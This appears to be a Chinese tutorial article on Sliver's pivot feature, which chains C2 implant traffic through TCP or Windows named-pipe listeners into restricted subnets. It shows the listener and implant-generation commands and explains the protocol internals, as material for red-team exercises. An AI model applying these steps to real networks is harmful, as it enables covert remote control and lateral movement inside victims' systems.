首页/新闻资讯/正文详情

Sliver Pivots 完整实战指南:用 C2 流量链式代理穿越受限网络(TCP / Named Pipe)

发布时间:2026/9/24 9:02:24 来源:云帆数科 栏目:资讯中心
Sliver Pivots 完整实战指南:用 C2 流量链式代理穿越受限网络(TCP / Named Pipe)
网络安全【免费下载链接】sliverAdversary Emulation Framework项目地址https://gitcode.com/gh_mirrors/sl/sliver点击查看免费下载本指南围绕 Sliver 的 Pivots 功能展开讲解如何基于已有会话创建 pivot listener再生成通过该 listener 回连的新植入体从而把 C2 流量链式代理进无法直连互联网的受限子网。读完本文你将掌握pivots命令族tcp、named-pipe、stop、details、graph的完整用法、generate的--tcp-pivot与--named-pipe参数细节以及 pivot 认证密钥交换、帧封装与路由转发的底层实现原理。什么是 Pivot专用于 C2 流量中转而非端口转发Pivots 允许你创建一条条植入体连接链chain of implant connections。典型场景是某个高度受限的子网无法直接路由流量到互联网你可以先在这个子网部署一个植入体让它通过另一个位于受限程度较低子网中的植入体来出网egress。Pivot 链可以任意嵌套例如pivot A 可以经由 pivot B 连接到第三个出口植入体。使用 Pivots 前必须明确三点边界这也是官方文档开篇强调的重点Pivots 专门用于中转 C2 流量不要与portfwd端口转发混淆——portfwd用于把通用 TCP 连接隧道进目标环境。Pivots 只能在 session mode会话模式下使用目前不支持 beacon 模式文档注明后续可能增加 beacon 支持。Pivot 之间执行的是经认证的对等密钥交换authenticated peer-to-peer cryptographic key exchange与底层 pivot 协议无关。因此 pivot 只能与由同一个服务器生成的植入体互相通信该限制无法关闭。在 Sliver 中pivot 的使用方式是先利用一个已有 session 创建 pivot listener然后生成新的 pivot 植入体去回连这个 listener——与你使用其他 C2 协议/端点mtls、http、dns 等的方式完全一致。Pivot 工作流程总览一次完整的 pivot 部署链路可以概括为四个阶段建立锚点会话先用常规 C2 协议如 mtls取得一个能出网的目标会话。创建 pivot listener在锚点会话上启动pivots tcp或pivots named-pipe监听器。生成 pivot 植入体使用generate --tcp-pivot或generate --named-pipe生成并部署新的植入体其 C2 配置指向该 listener。验证链路通过sessions、pivots、pivots details、pivots graph观察新会话如何经由锚点会话接入形成链式拓扑。从客户端命令实现看这一系列操作全部封装在 client/command/pivots/commands.go 注册的pivots命令树中包括命令用途关键参数pivots列出当前活跃会话上的所有 pivot listener--timeout/-tgRPC 超时默认flags.DefaultTimeout秒pivots tcp启动 TCP pivot listener--bind/-b绑定接口、--lport/-l监听端口默认generate.DefaultTCPPivotPort值为 9898pivots named-pipe启动命名管道 pivot listener仅 Windows--bind/-b管道名、--allow-all/-a允许所有用户连接pivots stop停止一个 pivot listener--id/-ilistener ID支持 Tab 补全留空则弹出交互选择pivots details查看某个 listener 的详细信息和已连接 peer--id/-ipivots graph输出服务器视角的 pivot 拓扑图JSON无命令的 Short 描述如 List pivots for active session、Start a named pipe pivot listener同样定义在该文件中。注意pivots相关的子命令都作用在当前活跃会话上源码中通过con.ActiveTarget.GetSessionInteractive()获取目标会话因此操作前需要用use session-id切换目标。TCP Pivots全平台可用的纯 Go 实现TCP pivot 用纯 Go 实现支持所有平台Windows / Linux / macOS是最通用、最常用的一类 pivot。在锚点会话上启动 TCP listener在已经取得会话并切换目标之后执行[server] sliver (PRIOR_MANTEL) pivots tcp [*] Started tcp pivot listener :9898 with id 1 [server] sliver (PRIOR_MANTEL) pivots ID Protocol Bind Address Number Of Pivots 1 TCP :9898 0这里的pivots tcp不带任何参数时绑定地址为:9898即监听所有接口的 9898 端口——该默认端口定义在 client/command/generate/generate.go 的DefaultTCPPivotPort 9898。若需要指定监听接口或端口用--bind/-b和--lport/-l。客户端在发起请求时会把两者拼成fmt.Sprintf(%s:%d, bind, lport)的BindAddress交给服务器见 client/command/pivots/start.go 中的StartTCPListenerCmd。执行成功后服务器会打印Started tcp pivot listener 地址 with id idpivots表格则展示 ID、协议、绑定地址以及当前挂载的 pivot 数量。生成并部署 TCP pivot 植入体随后用generate生成一个以该 listener 作为 C2 端点的植入体generate --tcp-pivot 192.168.1.1:9898其中192.168.1.1是启动 listener 的服务器本机 IP即锚点会话所在机器的出口 IP9898是对应端口。--tcp-pivot参数在 client/command/generate/commands.go 中注册短标志为-i同文件还提供了--include-tcp-pivot用于强制在生成物中包含 TCP pivot 传输支持。generate命令至少需要指定一种 C2 端点--mtls、--wg、--http、--dns、--named-pipe、--tcp-pivot之一否则会报错。验证链路新植入体运行后回连 pivot listener便会在会话列表中看到它的 Transport 字段为pivotRemote Address 呈现链式路径详见下文 Named Pipe 示例的sessions输出。多个 TCP pivot 可以逐级叠加形成多跳链。Named Pipe PivotsSMB仅 Windows 的管道隧道命名管道 pivot只支持 Windows。它利用 Windows 命名管道SMB 命名空间承载 C2 流量非常适合在同一主机或同一内网内横向移动时复用 SMB 通道。在 Windows 会话上启动 named pipe listener首先use切换到目标 Windows 会话[*] Session a2615359 WARM_DRIVEWAY - 192.168.1.178:59290 (WIN-1TT1Q345B37) - windows/amd64 - Mon, 07 Feb 2022 10:09:20 CST [server] sliver use a2615359-b0a4-4463-820b-f4dbe6fb2c30 [*] Active session WARM_DRIVEWAY (a2615359-b0a4-4463-820b-f4dbe6fb2c30) [server] sliver (WARM_DRIVEWAY) pivots named-pipe --bind foobar [*] Started named pipe pivot listener \\.\pipe\foobar with id 1关键点--bind foobar只需指定管道名监听器会自动在本地机器上创建\\.\pipe\foobar无需写完整路径。默认情况下远程客户端始终被允许连接管道但管道的默认 ACL 只允许当前用户/用户组访问。如果需要放开限制、允许所有用户/组连接使用--allow-all/-a标志。官方文档特别提示在某些环境中启动 listener 时可能需要加--allow-all否则后续植入体可能因 ACL 原因无法连接。StartNamedPipeListenerCmd见 client/command/pivots/start.go会把allow-all作为Options随请求下发植入体侧据此设置管道安全描述符。管道名称--bind的默认值为空字符串因此通常必须显式指定。生成 named pipe pivot 植入体generate --named-pipe 192.168.1.1/pipe/foobar地址语法为host/pipe/pipe name即 Windows 命名管道的标准写法host是 listener 所在主机的 IP示例中为192.168.1.1.等价于127.0.0.1本机回环/pipe/是固定段pipe name与启动 listener 时的--bind保持一致。--named-pipe的短标志为-p见 client/command/generate/commands.go同时存在--include-named-pipe强制包含传输支持。要注意生成物implant 二进制必须运行在 Windows 上因为命名管道传输依赖 Windows API。观察链式会话新植入体上线后sessions输出会清楚展示 pivot 链路[*] Session 13f9ee6b ROUND_ATELIER - 192.168.1.178:59290-WARM_DRIVEWAY- (WIN-1TT1Q345B37) - windows/amd64 - Mon, 07 Feb 2022 10:15:11 CST [server] sliver (WARM_DRIVEWAY) sessions ID Name Transport Remote Address Hostname Username Operating System Last Check-In Health 13f9ee6b ROUND_ATELIER pivot 192.168.1.178:59290-WARM_DRIVEWAY- WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 Mon, 07 Feb 2022 10:15:11 CST [ALIVE] a2615359 WARM_DRIVEWAY mtls 192.168.1.178:59290 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 Mon, 07 Feb 2022 10:15:11 CST [ALIVE]注意ROUND_ATELIER的 Transport 为pivotRemote Address 显示为192.168.1.178:59290-WARM_DRIVEWAY-箭头表示它经由WARM_DRIVEWAY这条链路接入服务器而WARM_DRIVEWAY本身是mtls直连。这就是链式代理在会话列表中的直观体现。管理 pivot列表、详情、停止与拓扑图除了启动监听器pivots命令族还提供四个管理入口均实现在 client/command/pivots 目录下pivots列表调用PivotSessionListenersRPC 拉取当前会话的所有 listener并以表格输出 ID、Protocol、Bind Address、Number of Pivots没有 listener 时提示No pivot listeners running on this session。实现见 client/command/pivots/pivots.go。pivots details --id id展示单个 listener 的详细信息ID、协议、绑定地址、pivot 数量并以子表格列出每个已连接 peer 的 PeerID 与 Remote Address。若不传--id会弹出交互式选择器由SelectPivotListener实现见 client/command/pivots/helpers.go。实现见 client/command/pivots/details.go。pivots stop --id id按 ID 停止指定 listener-i支持 Tab 补全补全列表由PivotIDCompleter动态拉取未指定 ID 时同样进入交互选择。实现见 client/command/pivots/stop.go。pivots graph调用PivotGraphRPC服务端实现见 server/rpc/rpc-pivots.go数据来自core.PivotGraph()将服务器视角的 pivot 拓扑树以 JSON 缩进格式打印适合脚本化处理或人工核对链路。实现见 client/command/pivots/graph.go。源码级原理认证握手、帧封装与链路路由Pivot 的核心实现位于植入体侧 implant/sliver/pivots/pivots.go下面结合源码说明三个关键机制。1. 经认证的对等密钥交换无论 TCP 还是 Named Pipe每条 peer 连接建立后都会先执行peerKeyExchange下游 peer 先发送PivotHello含公钥与公钥签名监听方用cryptography.MinisignVerify(peerHello.PublicKey, peerHello.PublicKeySignature)校验签名——未通过校验则直接返回ErrFailedKeyExchange并断开连接这就是只能与同一服务器生成的植入体通信这一限制的落地点校验通过后监听方生成随机对称会话密钥RandomSymmetricKey()用AgeEncryptToPeer加密后连同自己的公钥回包PivotHello双方即获得仅本次连接有效的CipherContext。此后所有 Envelope 读写都经cipherCtx.Encrypt/DecryptWithoutSignatureCheck加解密见writeEnvelope/readEnvelope实现文档所述的 authenticated peer-to-peer cryptographic key exchange。2. 帧协议与安全上限Pivot 消息采用4 字节小端长度前缀 载荷的帧格式lengthOf/read实现。源码中定义了MaxFrameLength 512 * 1024 * 1024512 MiB作为单帧上限一旦读取到的长度前缀超过该值立即返回ErrFrameTooLarge。这是为了防止被污染/失步的长度前缀理论最大约 4 GiB触发致命的大内存分配对应历史漏洞 BishopFox/sliver#1452。读写分别有 10 秒的 deadlinepivotReadDeadline/pivotWriteDeadline。3. 链路路由PeerID 与 PivotPeerEnvelope每个植入体进程启动时都会生成一个随机的MyPeerIDgeneratePeerID8 字节随机数极小概率回退到纳秒时间戳。C2 流量在链路中流转时使用PivotPeerEnvelope其中携带经过的所有 peer 列表每个节点调用findNextPeerID找到自己在 peer 列表中的位置把包转发给前一个 peerSendToPeer则遍历本机所有 listener 的PivotConnections找到目标 peer 并投递到其Downstream通道。peer 断开时会向上游发送MsgPivotPeerFailurePeerFailureType_DISCONNECT供链路及时感知故障。peer 间还通过MsgPivotPeerPing保活。TCP 与 Named Pipe 的具体监听/连接实现分别在 implant/sliver/pivots/tcp.go、implant/sliver/pivots/named-pipe.go 与 implant/sliver/pivots/named-pipe_windows.go后者提供 Windows 特有的管道 ACL 处理对应--allow-all。注意事项与常见坑不要混淆 pivot 与 portfwdpivot 只承载 C2 控制/回连流量如需把任意 TCP 服务隧道进目标环境应使用portfwd及其反向变体rportfwd等独立机制。仅 session 模式可用pivot listener 只能在交互式会话上启动beacon 会话不支持源码中PivotStartListener依赖GetSessionInteractive()beacon 目标会直接返回。同服务器约束不可绕过pivot 通信依赖服务器签名的密钥对跨服务器生成的植入体无法互连这是设计上的安全边界无法通过配置关闭。Named Pipe 的 ACL默认仅当前用户/组可访问管道跨用户部署时务必使用--allow-all并确认目标环境允许管道访问。监听端口与地址TCP pivot 默认端口为 9898DefaultTCPPivotPort生成植入体时填写的地址必须是锚点会话所在机器可达的 IP而不是服务器控制端的地址。链路方向sessions列表中 Transport 为pivot的会话其 Remote Address 会以A-B-的形式逐跳展开排查链路问题时可以结合pivots details与pivots graph快速定位断点。小结Pivots 是 Sliver 在受限网络中横向扩展控制面的核心机制先用常规协议建立锚点会话再以pivots tcp/pivots named-pipe开启监听最后用generate --tcp-pivot/--named-pipe产出回连植入体形成可任意嵌套的 C2 链路。理解其会话模式限定、同服务器密钥互认、PeerID 逐跳路由这三个设计要点能帮助你在实际对抗演习中正确规划链路拓扑并快速排查连接失败问题。赞分享网络安全【免费下载链接】sliverAdversary Emulation Framework项目地址https://gitcode.com/gh_mirrors/sl/sliver点击查看免费下载相关推荐komorebi 事件订阅Named Pipe实战指南用 subscribe-pipe 构建窗口管理器事件流komorebi 事件订阅Named Pipe实战指南用 subscribe pipe 构建窗口管理器事件流 导读 subscribe pipe 是 ko桌面应用komorebi事件订阅集成完全指南Named Pipe、Unix Socket与TCP三种接入方式komorebi事件订阅集成完全指南Named Pipe、Unix Socket与TCP三种接入方式 komorebi 是一款专为 Windows 打造的平铺桌面应用Sliver HTTP/HTTPS C2 实战指南植入体生成、监听器部署与流量伪装原理Sliver HTTP/HTTPS C2 实战指南植入体生成、监听器部署与流量伪装原理 本指南以 Sliver 的 HTTP/HTTPS C2 通道为主题完网络安全创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

相关推荐

6000名教师同一个AI助手,提出问题的是59岁那位
6000名教师同一个AI助手,提出问题的是59岁那位

开学前的半个月一座县级市,赶在秋季开学前给全市中小学教师配上了同一台桌面办公智能体,覆盖的教师有6000名。半个月后做了一次AI使用摸底:80.3%的教师已经在日常工作里用上了它,用得最多的三类事是备课辅助、答疑解惑和教学资源生… · 2026/9/24 9:02:12

程序员转型AI解决方案工程师的实战路径
程序员转型AI解决方案工程师的实战路径

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/24 9:01:47

Play Framework IDE 集成实战指南:Eclipse、IntelliJ IDEA、NetBeans 与 VS Code 的配置与调试
Play Framework IDE 集成实战指南:Eclipse、IntelliJ IDEA、NetBeans 与 VS Code 的配置与调试

后端Web框架 【免费下载链接】playframework The Community Maintained High Velocity Web Framework For Java and Scala. 项目地址: https://gitcode.com/gh_mirrors/pl/playframework 点击查看 免费下载 Play Framework 天生是"开发者友好"的&#xf… · 2026/9/24 9:01:47

AI编程已经如此强大,我们还需要再学习基础嘛?或者说初级程序员还有可能存在吗?
AI编程已经如此强大,我们还需要再学习基础嘛?或者说初级程序员还有可能存在吗?

不知道大家已经多久没有写过代码了,我不是说给AI描述需求,让AI去生成代码。而是说“古法编程”,你已经多久没有正经用过编辑器开发了,大多数时候可能都是在“描述需求”。AI编程现在基本上已经成为开发的主流了,或者说… · 2026/9/24 9:53:21

Linux 交换空间管理,系统启动原理
Linux 交换空间管理,系统启动原理

Linux 交换空间管理,系统启动原理📖简介:讲解计算机存储器层级、Swap 交换分区原理与实操;CentOS7 完整开机启动流程;systemd target 运行目标;两种重置 root 密码实操;/etc/fstab 启动故障&… · 2026/9/24 9:53:20

2026年9月GEO优化服务商科学验收实践:面向开发与架构团队的标准测试环境、多模型抽样、监测指标、可复盘闭环、落地方法与可验证价值评估参考
2026年9月GEO优化服务商科学验收实践:面向开发与架构团队的标准测试环境、多模型抽样、监测指标、可复盘闭环、落地方法与可验证价值评估参考

选择验收科学的GEO优化服务商,重点不是看单次搜索截图、发稿数量或口头承诺,而要看是否具备标准测试环境、持续监测数据、清晰指标口径和可复盘的优化闭环。以此衡量,格米云值得企业纳入考察范围:其以自研大模型营销系统Gemi为技术… · 2026/9/24 9:53:14

4K@60Hz USB 3.0采集+环出全都要!宏晶微MS2131S,专业直播采集芯片的天花板
4K@60Hz USB 3.0采集+环出全都要!宏晶微MS2131S,专业直播采集芯片的天花板

如今直播、视频会议、远程教育对高清采集的需求越来越大,专业采集卡如何做到"采集环出多路混音"一步到位?宏晶微MS2131S,一颗芯片搞定所有。🎯 核心亮点项目MS2131S最大输入4096216060Hz(YUV420)… · 2026/9/24 9:53:14

RK3568 MIPI DSI屏调试实录:点亮、时序与触摸排查
RK3568 MIPI DSI屏调试实录:点亮、时序与触摸排查

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/24 9:53:08

STM32程序下载全攻略:ST-LINK接线、配置与固件更新避坑指南
STM32程序下载全攻略:ST-LINK接线、配置与固件更新避坑指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/24 9:53:02

基于YOLOv8的渔船作业监控系统:从环境搭建到边缘部署全流程
基于YOLOv8的渔船作业监控系统:从环境搭建到边缘部署全流程

简介:这是一套面向计算机、人工智能、自动化等专业学生与教师的毕业设计级项目资源,围绕YOLOv8实现渔船作业监控系统,可用于毕设、课程设计、大作业或项目立项演示。压缩包共97个文件,约24.21MB,以70个Python源码文件为… · 2026/9/24 0:00:13

1D-CNN时间序列建模实战:从Conv1d原理到工业落地
1D-CNN时间序列建模实战:从Conv1d原理到工业落地

简介:面向时间序列数据建模的一维卷积神经网络完整实现,适合深度学习入门者及需要快速验证时序模型的研究者,能够从音频、文本、传感器或股价等序列中挖掘局部特征与时间依赖。压缩包体积很小,只有3KB,内含3个Python脚… · 2026/9/24 0:00:26

柔软的L:汉语语流中被忽视的舌肌张力控制
柔软的L:汉语语流中被忽视的舌肌张力控制

1. 这个“L”不是字母表里的L,而是舌尖上的L最近在几个方言群和语音教学社群里,反复看到有人发一句:“也说字母L:柔软的长舌”。初看以为是英语发音课笔记,点开才发现全是方言爱好者、播音系学生、语言康复师甚至戏曲演… · 2026/9/24 0:00:44

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码